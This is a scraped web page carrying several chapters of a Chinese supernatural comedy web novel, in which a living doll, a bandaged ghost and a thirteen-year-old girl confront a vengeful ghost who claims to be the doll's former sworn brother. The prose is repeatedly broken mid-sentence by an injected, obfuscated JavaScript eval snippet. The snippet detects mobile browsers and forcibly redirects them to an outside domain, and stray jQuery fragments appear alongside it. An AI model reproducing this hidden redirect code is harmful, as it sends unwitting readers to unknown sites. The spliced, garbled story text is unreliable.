终于听到的李瑶点头噢了一声:“阴界吗?我在这里能不能见到我亲人?” “你确定你没有把她的耳膜敲坏?”亡把李瑶推到一边,死死地盯着拿锣的陶方奕。 陶方奕眨巴眨巴眼,把锣和锤子举起来:“这个是法器,不伤人的。” “我对此持保留意见。”亡按住自己的额头。 低吼声从四面八方传来,亡摁了摁自己的耳朵:“祂是从什么时候开始吼的?”现在他怀疑自己的耳膜也出问题了。 陶方奕摇摇头,他不知道。 陶方奕把锣和锤放到自己身后。 “陶!方!奕!!!”那个厉鬼大吼出声。 陶方奕愣了一下,他看向亡。 这种沙哑的厉鬼音他太熟了,陶方奕还以为亡又莫名其妙地生气了。 “不是我!”亡咬牙切齿。 陶方奕又看向不远处那团聚集起来的黑雾。 他压低声音询问亡:“祂在叫我吗?” 坐在中间的李瑶努力听了一会儿,复述:“他是教主?” “那不然呢,我们这儿还有第二个叫陶方奕的吗?”亡觉得哪里不太对。 陶方奕背叛了那个厉鬼,他不该对那个厉鬼印象深刻吗? 李瑶还想复述,亡冲着李瑶比了个嘘的手势。 李瑶默默闭上嘴。 真是费劲死了,一个两个都那么脱线,亡从没这么憋屈过。 陶方奕左看看右看看,随后他清了清嗓子:“您好?” 亡感觉那团凝聚的黑雾都顿住了。 陶方奕还是比较有礼貌的:“请问您是?” “陶方奕!!”那个声音重新暴躁起来,黑雾滚动,最后它们凝聚成了一张人脸。 鹰钩鼻,高眉骨,纤长上挑的眼睛,以及脸上那道斜着贯穿整张脸的疤痕,这是张非常有辨识度的人脸。 “噢!!!”陶方奕恍然大悟,“是你啊!” 认出来了?亡双手环胸,静静等着他们在争论中把自己过往的经历暴露出来,最好是能打一架,让自己知道这个奇怪的娃娃到底是怎么一回事。 李瑶感觉自己的耳鸣渐渐消失了,她往后缩了缩,紧张地观察着面前这场对峙。 “你最近过得好吗?”陶方奕问他。 “你觉得呢?你看我这样,算过得好吗?”男人后背佝偻着,他的身体大半被黑雾笼罩,像是披了一件长长的斗篷,随着走动,手臂偶尔会显露出来,他的手腕同样瘦如枯骨。 陶方奕沉默。 “你倒是过得不错,活成了这副荒唐的模样。”男人笑了几声,“向小屁孩讨好卖乖,挣几口饭吃。” “哈哈。”陶方奕挠了挠脑壳。 亡一点一点扭头看向陶方奕。 你在哈什么啊? “确实混得不怎么样哈哈。”陶方奕笑得还怪爽朗的。 亡:? 亡忽然意识到有哪里不太对劲,怎么觉得陶方奕的回应特别公式化呢?不像是和对方有什么感情纠葛的样子:“你真的认识对面那个厉鬼?” 厉鬼爆发出一阵尖锐的嘲笑:“哈哈哈哈哈!我是他的噩梦!他怎么可能忘记我?!” 陶方奕语速也变快了:“是啊是啊!完全忘不掉!” 厉鬼:“这些年他最怕的就是被我找到!” 陶方奕:“嘿呀,这不还是被你找到了么!” 厉鬼:“我就是他心理最深处的恐惧!” 陶方奕:“没错!我每天都在念叨你的名字,那几个字几乎烙印在我灵魂里了,你就叫——”他拖了个长音。 厉鬼:“张……” 陶方奕:“张!” 厉鬼忽然停住了。 陶方奕一只圆手在胸前轻轻打转,鼓励厉鬼把胸口堵住的话通过嘴巴说出来。 厉鬼眯起眼睛:“我叫张什么?” 陶方奕:“张先生您好,好久不见。” 厉鬼脸色冷了下来,不见半点狂热:“我姓张,名什么?” 陶方奕看了一眼亡。 亡后仰。 他怎么可能知道对方叫什么? 陶方奕小声挤出一个和张姓搭配最多的名:“伟?” 亡和李瑶同时发出了倒吸气的声音。 李瑶小声嘀咕:“真的不认识诶。” 亡也嘀咕:“可不么,名字都不知道。” 张姓厉鬼周身的鬼气暴涨,显然他愤怒了:“你忘了我?!你的记忆被特管局干扰过了?!他们对你做了什么?” 亡继续小声说:“特管局不干这种缺德事。” 李瑶点头认同:“陶叔叔把他的过去讲给我听过。” 亡很诧异:“他告诉你了?!为什么?” 李瑶想了想:“可能是为了哄我吧。”毕竟当时她的情绪不对劲。 张姓厉鬼能听到他们的对话,亡灵在颤抖。 陶方奕也没办法了,他只能双手交握,低头认错:“抱歉,我不记得你了。” “怎么可能?!”厉鬼嘶吼质问,“我们曾是志同道合的兄弟!你忘了吗?!” “兄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“鬼王啊~”亡站起身,他头顶的绷带漂浮游荡,仿佛浸在水中。 而他周身还有无数的绷带往外冒,如同一条条白蛇。 对方的鬼气浑浊不堪,手上的人命不会少。 这样的凶物消失了是不会有人在意的。 而自己已经饿了很长时间了。 “你是他的新伙伴?”张姓厉鬼笑看着亡,“你像当年的我一样信任他。” “我可不信任他。”亡的嘴角越裂越大。 陶方奕试图安抚亡,他们不能擅动私刑,这种事应该交给战斗部的同事去做。 “你不信任他为什么要帮他出头?你还不清楚他真正的实力吧。”张姓厉鬼冷笑。 “我只是想进食,不想帮谁出头诶。”亡把拽他的陶方奕扯下来,扔进了李瑶的怀里。 张姓厉鬼继续:“当年如果不是他执意背叛,凭闻人怀疏和王强的实力,根本不可能抓住他。” 亡停下了。 陶方奕重新跑过来。 然而这次他还没开口,就被亡一把抓住,攥到了面前。 亡的手在抖。 “哈,那两个妖巡捕的名号你果然听过。”张姓厉鬼认为这个小鬼对陶方奕的实力有一定的概念了。 亡确实有一点概念了。 他隐约记得自己父母好像一直跟一个被逮捕的非人类有联系来着。 【当年对方给的压力实在太大了,我和你爸当时都是天才,谁也不服谁。在强压之下不得不合作,然后摩擦出了爱的火花。】 【对方性格很有趣,我和你妈没打赢,后来是靠讲道理说服的。】 【他有点呆呆木木的,最近一直在为工作的事苦恼,他就在特管局哦。等他稳定下来了我们带你去见他啊。】 亡的手抖得更厉害,他也把娃娃攥得更紧。 陶方奕的笑脸都被挤压变形了:? 【你那个叔叔最近给我们发了部门标语的照片,他说你是个积极阳光的孩子。】 【这次如果你心理测试过了,就直接转正到战斗部吧。】 “你好。”亡对他说。 “啊?”陶方奕不太明白亡是什么意思,不过他还是回了一句,“你好。” 【但如果被我们发现你的状况没有好转,或者越来越严重,你就给我在现在的岗位上再历练一百年。】 “你可以抱一下我吗?”亡轻轻地将陶方奕放下。 “可以啊,不过为什么?”陶方奕把自己身体里的棉花位置正了正,随后搂住亡的腿。 亡蹲在地上,他这下完全没心情管张姓厉鬼了:“我的人生好像要完蛋了,哈哈。” 9. 重点在哪儿? 陶方奕不明白亡突如其来的崩溃是因为什么,不过他还是在努力安抚亡的情绪。 李瑶也在帮忙安慰,尽管亡大多数时候跟她聊天都算不上友善,但李瑶能意识到如今的状况是陶方奕和亡一起过来救自己了。 “是我忽视了什么吗?”陶方奕想了半天也没想明白到底是因为什么,“抱歉,我总是比一般人更迟钝一些。” 张姓厉鬼站在不远处,面无表情地望着他们的交流:“我以前是鬼王。” “我知道,我知道。”陶方奕抬手示意对方先等一等,现在重要的不是对方。 “不,你不迟钝。”亡缓缓起身,“我问你……打个比方啊,打个与现实完全无关的比方。” 陶方奕点头。 亡指向李瑶:“比方说她学坏了。” 李瑶震惊地睁大眼睛,她伸出一个手指,指向自己的脸。 “就像那种比较夸张的小孩一样,染头发,纹身,甚至在身上打洞。”亡状似随意地说。 “你是说她开始走朋克路线了?”陶方奕点头表示自己理解了。 哦,这个在陶方奕看来不算学坏。亡稍稍松了一口气,他这个造型在陶方奕眼里应该也只是一种风格。 “很好,那么接下来,她的性格也变得比较狂野。”亡想了个比较艺术性的形容词,“变得比较摇滚了。” “她变成了学校里的孤狼,遇到一些欺负人的小混混时她会动手以暴制暴。”亡拍了拍李瑶的肩膀,李瑶有些恍惚。 这个比方能成立吗? “她在老家上学,她的妈妈不在她身边,而这时候你有机会联系她的妈妈,你会怎么做?”亡问。 “把这一切告诉她妈妈。”陶方奕果断道。 亡:“……为什么?就因为她是一个朋克少女吗?我觉得你的做法有失妥当。” “她可是一个叛逆期的青少年,你就不怕对她的心理造成什么伤害吗?”亡义愤填膺。 李瑶不理解亡为什么要因为一个压根不可能发生的假设而这么激动。 “因为随意动手可能会给自己带来不可逆的损伤,专业的事应该交给专业的人去做。”陶方奕严肃道,“帮助弱小是一种美好的品德,但是单打独斗的个人英雄主义不可取。” 亡:“……如果你的告状会导致她留级甚至停学呢?” “那么这就是出格行为带来的后果。”陶方奕没有丝毫动摇。 亡在思索片刻之后又问:“如果你在不知不觉中变成了她的‘合作伙伴’呢?” “有可能吗?”一个成年人怎么可能成为叛逆期小孩的合作伙伴? “只是一个比方,比如她殴打别人用的铁棍是你给的钱买的。”亡在思索把这位叔叔拉下水的可能性,“你还会告状吗?” “当然,如果我参与其中,那我也有问题,不能一错再错,我必须及时止损。” 很好,完了。 跟自由的生活说再见吧。 亡在短暂地沉默之后忽然哈地一声笑了出来:“我告诉你,我谁都不讨好。” 陶方奕:“啊?哦,好的。” 亡之前有需要讨好的人吗? 算了,别纠结了,顺着对方来吧。 “我是自由的。”亡对陶方奕说,在这一切彻底崩塌之前,他要尽情地做自己,把自己对这一切的不满都发泄出来。 陶方奕为亡的自由而鼓掌,只不过他的手拍不出声音。 他发现亡莫名其妙在极度的紧张过后又彻底放松了,似乎参悟了什么新的境界。 陶方奕不理解,他只觉得自己又遇到了一个多姿多彩,前所未见的活泼个体。 这个世界还是太大了,人还是太多了,自己果然还得学习。 “陶方奕!!”那个张姓厉鬼再次出声,“你就不好奇我为什么能在你身边潜伏这么久,而你却发现不了我吗?” 陶方奕:…… “我一定要好奇吗?”陶方奕不知道,这个范围实在太大了,某个不知名的厉害法器,或者这个厉鬼折腾出了什么不得了的术法。 真要猜的话,花费一天的时间都不一定猜得出来。 陶方奕不是很想猜。 抓鬼不是他的工作,他现在更应该做的是等战斗部的同事过来,然后把李瑶带回家。 厉鬼忽然发出低哑的笑声。 而这种笑声陶方奕早就在亡那里听习惯了。 “看看这是什么。”厉鬼的手中忽然出现了一截木棍。 陶方奕盯着看了一会儿,随后他一拍脑壳,恍然大悟:“噢!我的一部分身体!” 亡和李瑶都看向了陶方奕。 陶方奕的反应有点太怪了。 之前他指出李瑶戴的项链是自己的眼球时也是这样,轻描淡写到让人无法理解。 “这就合理了!你是借我的身体,屏蔽我的意识嘛。”陶方奕松了一口气,对方没有让他继续猜。 “那是你的身体。”亡提醒他。 “对!”陶方奕点头。 “我不是在问你,我是说你的身体出现在他手上很奇怪!你这个人到底是怎么一回事?”亡只觉得不可思议,“这是一个很严肃的问题!” “他总是这样。”张姓厉鬼冷笑道,“他自私自利,只在乎他自己。前脚和我称兄道弟,转头就把我给卖了,他甚至忘了我的名字。” “他是个冷血的变态。”厉鬼咬牙切齿。 “他不是。”李瑶小声反驳。 亡诧异地看向一旁的人类:“你胆子这么大的吗?” 李瑶和陶方奕认识没多久,她今年才13岁,曾经也只在四岁时和陶方奕有过短暂的相处,还被陶方奕给恐吓了。 但那个厉鬼刚才明显是想引诱自己去死,而陶方奕救了自己。 “他不冷血也不变态。”李瑶继续反驳。 冷血变态的人才不会在自己无所适从的时候一直陪自己聊天,陶方奕从没有劝过让她接纳新家庭,他甚至尽量不提如今他的任务对象,也就是李瑶的妹妹。 李瑶知道陶方奕在小心地掌握着尺度。 气氛忽然变得很安静,大概那个张姓厉鬼也没有预料到人类小孩敢出声反驳他。 李瑶深吸一口气,又小声回击:“你才是变态。”杀人的才是变态。 亡:“呜呼!” 他大笑着拍了拍李瑶的后背:“我喜欢这种攻击性!” 陶方奕轻轻拍了拍李瑶的小腿,他站在地上,只能够到小腿:“我不难过的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710438|173622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 张姓厉鬼爆发了,他的鬼气瞬间膨胀,可还没来得及碰到三人,他的鬼气就收回去了。 亡的嘴角微微抽搐了一下。 这种反应他很熟悉。 果然,张姓厉鬼的双手被红色的手铐反铐在了身后,整个鬼摔倒在地。 陶方奕走上前去。 张姓厉鬼怨恨地注视着陶方奕,而陶方奕绕过了他的脑袋,从他的手上取下了那一小块木头。 左右打量过后陶方奕拍了拍木头上沾染的那一点点灰尘:“这个是我的。” 他把木头收到身后的空间里。 “我已经给战斗部的同事打过电话了,他跑不掉,我们先撤吧。”陶方奕对李瑶和亡说,“已经太晚了,待会儿家里人该担心了。” “陶方奕!!”张姓厉鬼大喊出声,“你就不想知道我是怎么拿到你的身体的吗?!你迟早会为你的背叛付出代价!!” “走了走了。”陶方奕一手推着李瑶,一手推着亡。 之后的工作与他无关,他只是来带小孩回家的。 “不问问你身体的事吗?你就不怕他们想害你?”亡问他。 “回头我同事会审问他的,他害不到我。”陶方奕不想在这儿停留太久,对方的心理状况不太正常,和对方对话很费劲。 “你怎么知道害不到你?” “我没有背叛他,也没有坑害他。”陶方奕解释,“我当年想通了之后就回头把他揍了一顿,那个万魂幡是我顺手抢过来的。” “顺手?” “当时和我斗殴的不止他一个。” 斗殴?是战斗吧! 亡回头看了那个厉鬼好几眼。 他有自信能够胜过那个厉鬼,但赢得绝对不算太轻松。 如果加上万魂幡,那就只有本体过来才有把握了。 可陶方奕把人打了之后就把人给忘了,这可能吗? 刚才他和陶方奕对话的时候这个厉鬼完全没有动静。 是因为讲礼貌?不,他大概在忌惮陶方奕。 既然他选择屏蔽陶方奕,那他肯定没打算在陶方奕面前暴露。对小孩动手也可能是为了搞陶方奕的心态。 反正这家伙不敢对陶方奕做点什么。 所以陶方奕真的很强悍? 哦,他爸妈也说过他们曾经遇到的那个对手很恐怖。 亡低头看了陶方奕好几眼,随后他一把将陶方奕抓起。 陶方奕:“诶?” 亡抓着陶方奕看来看去。 随后他用两只手捏住陶方奕的脸颊,扯了扯。 又双手合十,把陶方奕按扁。 “你忽然有了童心吗?”陶方奕问亡。 亡没有回答陶方奕的问题,他在尝试理解陶方奕的逻辑。 这不算容易,因为陶方奕真的太怪了。 “你以前……是一个热爱打架的不良青年?”亡问他。 陶方奕:!!! 亡手中的玩具娃娃忽然就陷入了自闭,像被人当了两年的枕头似的,棉花忽然就不蓬松了,自行扁了下去。 那个张姓厉鬼骂了半天都没达到这个效果。 亡:…… 所以陶方奕一直都是从这种方向去理解的吗? 10. 洗脑计划 “你对那个叔叔感兴趣?”电话里的女人满是疑惑,“之前我和你爸跟你聊这个的时候你没什么兴趣啊。” “最近有点好奇。”闻人傅的手机开着外放,而他工作用的手机则打开了一张微笑的图片。 面无表情的闻人傅盯着那张照片看了一会儿,随后他面对镜子露出微笑。 电话那头的女人安静片刻,随后她疑惑地询问:“你不会是想找那个叔叔打架吧?我告诉你,人家现在是咱们的同事了。” “我知道他从良了,但我真的很好奇他的力量有多强悍,他是个天才吗?你们遇到他的时候他就已经很厉害了?他和我同岁的时候谁更厉害?”闻人傅把自己微笑的样子拍下来,随后和那张参考照片认真对比。 他的微笑很标准,看起来很温柔。 嘴角的弧度都能和那张参考照片重合了,那些人到底为什么会觉得他态度不好? 那群找茬的混蛋! “你和他没法比。”女人说。 闻人傅的眉尾挑了一下:“和他比起来我就是个庸才?” “不,我是说你俩没法放在一起做对照实验。”女人叹气,她知道自己这个儿子的德行,如果不得到答案,他会一直纠结下去。 而与此同时,亡那边开始询问陶方奕的过往,在几次鸡同鸭讲之后,陶方奕也明白了这个小厉鬼想要的是自己的生平经历。 闻人傅一边收集着两边的信息,一边继续找其他的参考照片,调整自己的表情。 “我的年龄很难计算,如果是从我意识到‘我’存在开始,那我应该从上古时期开始算起。”陶方奕认真跟亡解释。 “你是上古大妖?”亡很震惊。 “那不是。”陶方奕连连摆手,“那种的要么上天工作去了,要么已经死了。” “我是一根很粗很粗的树枝。”陶方奕说。 本来陶方奕是没有意识的,但当时有个追寻大道的圣人路过,那个圣人又饥又饿,便捡了一根树枝做拐杖。 “捡的就是你?”亡明白了。 “对的,那个时候我的体型其实很大,那位圣人也是个巨人。”陶方奕点头。 陶方奕的第一道意识就是觉得吵。 那个圣人一直在他旁边絮絮叨叨,嘴就没有停下来过。 陶方奕听不懂对方在说什么,只觉得那个人吵得要命。 “现在想来,那应该是个很厉害的人,我跟着他的时间太久了,他无意间给我开了一点灵智。”陶方奕说,“但是那个时候我的脑回路比较单一。” 那时候的陶方奕唯一的情感就是“烦”。 他没有进食需求,也没有探索这个世界的欲望,他只觉得身旁那些莫名其妙的动静很烦,他只想安安静静做个木头,他想睡觉,可怎么都睡不着。 后来陶方奕才意识到,那是他对“生”的无所适从,想要重新变回一根没有思想的木头。 可开了灵智就很难再关上了。 不过陶方奕是根实心的木头,他的灵智还没能完全打开。 “硬要说的话,我那时候有点像一些听不懂人话的人工智能。”陶方奕无法理解更复杂的情绪,更无法表达。 “后来圣人飞升上界,我还没能安静多久,就被一群人类带走,我应该是变成了他们皇室的礼器,那些人管我叫神木。” 那根木头见证了一代代王朝的兴衰,木头也接受了自己总能感应到外人叽叽喳喳的这个事实。 后来木头遗落民间,在某处土里埋了好久。 之后又有人把木头挖出来,将巨木雕刻出人形。 “那是一个傀儡师。”陶方奕仔细回忆,这些过去对他来说都太片面了,“这之后我跟人的接触就变多了,不再是被供奉着的器物,开始被当作人来对待。我成了那个傀儡师的传家宝,跟了他们家十几代人。” “直到五百多年前,我跟的倒数第二代的传人给我取了陶方奕这个名字。”陶方奕说,“我也是从那个时候开始计算自己的年龄的。” “我不太确定我是从哪一刻开始拥有感情的,可能这个过程非常非常漫长,我弄不清楚。”就像陶方奕其实也不太清楚自己从什么时候开始“活”的。 最早陶方奕感觉自己只是个灵器,后来他又沾染了几代王朝的气运,再然后他真真正正地接触到了人。 “不过在接触最后一任傀儡师的时候我的感情肯定比较完善了,因为那位傀儡师离世的时候我破了大防,而且还试图搞坏地府转世投胎的机制,让那个傀儡师永生。”陶方奕羞愧地低下了头,“那是我第一次养孩子,我不太能接受死别。” 亡:“……你的意思是,你确实有力量去给地府造成困扰?” 陶方奕缩成一团。 而另一边闻人傅得到了他妈妈的解答。 闻人怀疏还记得当年陶方奕给她带来的压迫感:“他的力量远比他心智成长得快,快得多!” “那种感觉就像是在如今这个时代,把世界上所有的大规模杀伤性武器的发射按钮交给一个叛逆期耍帅的孩子。”闻人怀疏说,“他不知道自己的行为会带来什么后果,脑子一抽,什么都敢干。” “我和你爸都是天才不假,可对方那个情况属于是神器成精,没法打。”闻人怀疏深吸一口气,“还好他还是能听进去道理的,而且他当时光顾着揍我们了,没伤害普通人类,没有过重的因果,坐了一段时间的牢就又放出来了。” 闻人傅这次连练习微笑都顾不上了。 所以他们现在让这么一个人去做看守者?去做狱警? “那个人为什么不在战斗部?”闻人傅想要提一提这件事。 “他在第十九层,看押那群危险的犯人也是需要很高的武力值的,那里很多人都是他这种情况,不过像他这么厉害的也少。”闻人怀疏直接道,“他最近不是还夸你了吗?如果你不担心做噩梦的话,可以带着礼物去第十九层看看他。” 闻人傅再次沉默。 什么叫第十九层很多人都是他这种情况? 那到底是个什么地方?! “不过我感觉你那位陶叔叔其实没有真正地建立过亲密关系。”闻人怀疏又说,“虽然他说搞得他崩溃的那个孩子是他养的,但是那个人有父母,那人的父母还没满十八岁就生了他,俩人也活到了九十多,陶方奕压根不需要养孩子,不如说他是跟着一起被养的那个。” “他养人就跟养宠物似的,当时他只是刚获得感情不久,不知道怎么处理悲伤的情绪吧。” …… “为什么傀儡师的家族断代了?”亡询问陶方奕。 “这个也是我最近才想明白的。”陶方奕拍拍自己的头。 陶方奕站在小窗户上,而亡蹲在旁边。 听到陶方奕的话,亡觉得这大概就是陶方奕的可怜之处,也许许多感情他在事后才能反应过来。 “因为他们家好几代都是表亲结婚,没法生育应该是近亲结婚折腾出来的毛病。”陶方奕解释。 亡:…… 哦,“最近才想明白”的意思是“最近”接触到了现代医学吗? “你对之前遇到的那些人都没有感情吗?”亡对陶方奕的成长方式很好奇。 陶方奕摇头。 “真的不会有感情的滞后性?”亡点了点自己的胸口,“不会因为错过而痛苦到死去活来吗?” “偶尔会感叹一下,不过难过说不上,因为我压根没有付出感情。”没有付出,也就没有那种情感随着对方的消失而忽然被终止了的感觉。 陶方奕感觉自己很多时候像是在看故事,只不过有些故事得等他情感更丰沛之后才能参透全貌。 “还以为能听到很虐的故事呢。”亡啧了一声。 “很虐的故事里被虐的只有我。”陶方奕双手环胸,“毕竟我是活得更久的那个。” 床上的小孩吧嗒了两下嘴,亡指向小孩:“这个小水牛都能把普通的亲情误会成爱情,你就没有过这种情况吗?” “想要误会一种感情是需要相对丰富的经验的,我还在学习。”陶方奕刚说完,就感觉亡扒拉了一下自己的背带裤,想往背带裤里面瞅。 “你想干嘛啊?”陶方奕问他。 “瞄两眼,瞄不清楚。”亡说。 “哦,那你等等。”陶方奕开始脱背带裤。 刚脱一半,陶方奕忽然意识到不对劲:“等等!你刚才在看什么?!” “就是你想的那样。”亡摊手。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710439|173622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “娃娃怎么可能有那种东西?!”陶方奕连忙把背带裤穿上,“你在想什么啊!谁会做那种东西?!” “那你本体有吗?”亡撑着自己的脑袋继续问。 “有的,原来的身体有,新的身体也有。”陶方奕说。 新身体?看样子陶方奕身上还有秘密。 不过亡已经不着急了。 他发现了陶方奕身上的弱点。 “有个健全的身体真好啊。”亡故作失落。 刚穿好背带裤的陶方奕一惊,他连忙安慰:“不过我也很喜欢我现在这个身体,这个样子很可爱。亡也是一样,你的样子非常帅气哦,独一无二的帅气!” 亡把脑袋凑近陶方奕:“真的吗?” “真的!”陶方奕连连点头。 “那你可以拥抱我一下吗?”亡的嘴角下撇。 “你能接受我碰你的脸?”陶方奕记得之前自己触碰对方时对方的反应很大。 “能。”亡点头。 陶方奕张开双臂,而亡的脸很快就塞进了他的怀里。 陶方奕眼中的淡蓝色十字星在微微颤抖,虽然不知道为何,但这个奇奇怪怪的孩子好像被他感化了一部分。 被陶方奕抱住的亡已经控制不住了,他的嘴咧得越来越大。 因为兴奋,亡的嘴唇在轻微颤抖,他的牙齿互相磕碰,发出了咔咔的声音。 陶方奕听到了,他松开亡的脸,把亡的脸捧到面前仔细观察。 亡的嘴此时已经占据了大半张脸,他的绷带也在微微漂浮。 亡的脸上没有其他结构,此时他的模样可以称得上恐怖了。 “你在开心吗?”陶方奕问他。 “嗯~”亡的牙齿还在发颤。 “你笑得……”陶方奕摸了摸亡的脸。 亡发出的咔嚓声是不是和猫咪打呼噜差不多? 不过亡如果是只猫咪的话,感觉不会有人冒险领养。 陶方奕注意到亡的银发,又想起了自己老朋友的那个孩子。 也是个银发的小孩,还有一红一金的异瞳,这种猫咪应该会相当受欢迎。 这么想想,亡好像有点可怜。 亡歪了下脑袋,等着陶方奕的后话。 陶方奕继续:“笑得真温柔啊。” 亡嗑动牙齿的频率更快了。 另一边,闻人傅笑着倒在了床上。 “温柔,哈哈哈哈,居然说我那种样子是温柔。”闻人傅紧紧搂住了被子,他在床上翻来覆去。 忽然,闻人傅停了下来。 “你还真会睁着眼说瞎话啊。”闻人傅望着身边的被子说。 高道德感的迟钝的木头。 还是块格外强悍的木头。 强大…… 那么强大的人彻彻底底洗白走正道也太可惜了。 说白了陶方奕也是被爸妈洗脑了,那么厉害的人,现在跑去吓小孩了。 特管局这是在大材小用。 只要不去硬碰硬,陶方奕还是很好沟通的。 卖惨,表现出依赖性,陶方奕不会轻易地出卖他。 妈妈说什么来着? 感觉陶方奕也没跟人建立过亲密关系…… “哈……哈哈!”那他可就要先抢占挚友的位置了。 再然后这位不擅长处理理解情绪的迟钝的叔叔不就能被他掌握在手中了吗? 这么强大的人当然要彻彻底底地将自己的力量展露出来。 看来自己这不是被束缚了,这是一个机会! 另一边的亡也一直在“咔咔咔”地响。 陶方奕本来以为亡只是一时激动,但是亡一直响到天亮。 这果然是个奇怪的厉鬼。 这几天陶方奕也发现了一点规律,那就是亡总有一段情绪低落期,而这段低落期很规律,基本就是早上九点到下午五点。 不过今天的亡看起来不低落,明明九点都已经过了。 为什么呢? “诶,欣馨,别去叫姐姐。”杨红玲制止了任欣馨敲门的动作,“今天星期六,让你姐姐多睡一会儿。” 被小孩搂在怀里的陶方奕还在思考。 到底为什么呢? 11. 谁治愈,谁叛逆? “亡,你想杀人吗?”陶方奕询问。 “不想啊,怎么了?”亡伸手戳了戳陶方奕的身体。 “那你想不想吃厉鬼?”陶方奕又问。 “不想~”亡继续戳陶方奕,“你为什么要问这些?你学坏了?”他的语气不知为何有些惊喜。 “也不是。”陶方奕有些不好意思地挠头,“只是觉得你现在有点烦人。” 亡的动作停住了。 他反应了一会儿,试图理解陶方奕那句话的深意,但是失败了:“你说我有点什么?” “有点烦人,虽然不知道你为什么一直揉搓我,还喜欢在我身上蹭,但你已经不是孩子了,这让我有一点困扰。”陶方奕直白道。 亡收回手,站直身体:“你能接受一个尖叫水壶天天在你耳朵旁边响,能接受对方脏兮兮的爪子在你身上摸来摸去,你不能接受我戳你?” “她四岁啊。”陶方奕说,“瑶瑶13岁,瑶瑶都没这么干了。” “频繁的接触有助于提升亲密值啊。”亡试图跟陶方奕讲道理,他只是想成为陶方奕的挚友而已。 “也很容易让人有一种私人空间被剥夺的感觉。”陶方奕又说。 亡:“……你不是要感化我吗?你居然会责怪我剥夺你的私人空间?”而且说到底陶方奕真的有私人空间这种东西吗? “感化大人和感化小孩不一样的,再怎么说你的社会化程度也比小孩高啊。”陶方奕不是很乐意天天把注意力放在一个个体身上,“你可以找到自己喜欢的方式打发时间。” 亡沉默。 他懵了,这和他想象的有点不太一样。 难道不是孤独无助的傀儡娃娃游走在世界之外,始终无法融入吗? “放我出去我会杀人哦。”亡轻声说。 “放心吧,我没有把你脖子上的束缚解开。”陶方奕摆摆手,他希望亡自己找个角落待着,“只是想想,不会出事的。” 这次任务遇到的意外有点多,陶方奕觉得自己得休息一下了。 “你这样很容易没朋友的。” “成年的朋友都有自己的私人空间吧。”陶方奕的朋友挺多的。 “等等,等等!”亡感觉自己脑袋有点混乱,“你的私人时间一般都在干什么?” 陶方奕顶着一张可爱的娃娃脸掏出手机,随后费劲地用圆手点开视频软件。 亡:“所以你的私人时间就是在刷视频?!你可是个存在了相当久的个体!你怎么会喜欢刷视频?” “科技改变生活,欣馨抱着我在沙发上坐的时候我也会偷看这家大人的手机屏幕。”陶方奕又掏出公文包,从公文包里掏出了一个头戴式耳机,“不过他们喜欢的东西和我喜欢的不一样。” “所以你喜欢……”亡凑近看了一眼陶方奕的手机屏幕,在看到视频封面那人夸张的打扮之后他有些没反应过来,“呃?这是?” 陶方奕点开视频。 亡的听力很不错,哪怕陶方奕戴着耳机他也能听到音乐声。 失真吉他的第一个音砸下来,那种一拳打在耳膜上的狂野感让亡嘴角抽搐了一下。 再看视频里那些人夸张的发型,黑色皮衣带铆钉的打扮,以及舞台上各式各样的骷髅图案。 ……重金属摇滚? 陶方奕盯着手机一脸严肃,他的脑袋随着鼓点上下摆动。 亡眼看着他摆动的幅度越来越大,频率越来越快,最后到了歌曲高潮处,陶方奕的脑袋都快晃出残影了, 很狂野,当然,如果陶方奕的外形不是个布娃娃,大概会更狂野。 亡想象中的陶方奕是个迟钝但脆弱的人,在喧哗散去之后大概会独自一个娃娃坐在窗台,注视来来往往的人群。 按理说亡一直缠着陶方奕应该会让陶方奕对这种被依赖的感觉无所适从。 陶方奕的确应该感到不安,但这应该是一种对亲密关系的无所适从。 自己这个外形可不怎么像个成年人,或者说他压根不像个人类!这是亡的优势,只要表现出过度的依赖,陶方奕应该会把他放在接近宠物的定位上才对。 亡打算以一个弱势的姿态慢慢侵蚀陶方奕的情感生活。 想到这里,亡又看向跟着音乐做口型的陶方奕。 【你现在有点烦人。】 亡紧紧握拳。 他牙齿不断发出咔咔咔的碰撞声。 很好,很有挑战性。 这次也不是全无收获,起码知道了陶方奕喜欢重金属摇滚,这种喜好似乎和他积极向上的人设相悖。 不要暴露自己的情绪,要学会伪装。 正在虚空弹吉他的陶方奕忽然收到了一条信息。 “咦?”陶方奕有些诧异,这个时候闻人怀疏找他干什么? 陶方奕点开对话框。 【你遇见闻人傅了吗?】闻人怀疏询问。 陶方奕如今的手很难触屏,他费劲地打字,然而他还没打完,对面的信息就唰唰唰地传过来了。 【前几天小傅忽然跟我问了你的情况,我总觉得不太对劲。】 【如果你遇到了小傅一定要告诉我。】 【他的情况很复杂。】 陶方奕的【没有】两个字总算发出去了。 那个像漂亮异瞳大猫的孩子问了自己的情况? 【没有就好,如果之后遇到了他,也麻烦你告诉我。】闻人怀疏的信息来得很快。 陶方奕费劲巴啦地按了个【好的】。 闻人怀疏不知道,她的信息全部被一旁观察陶方奕的亡看到了。 亡默不作声地退到角落蹲下。 果然妈妈会担心啊,亡想。 他眼看着陶方奕退出对话框,随后继续看摇滚视频,开始狂放地摇头。 亡:…… 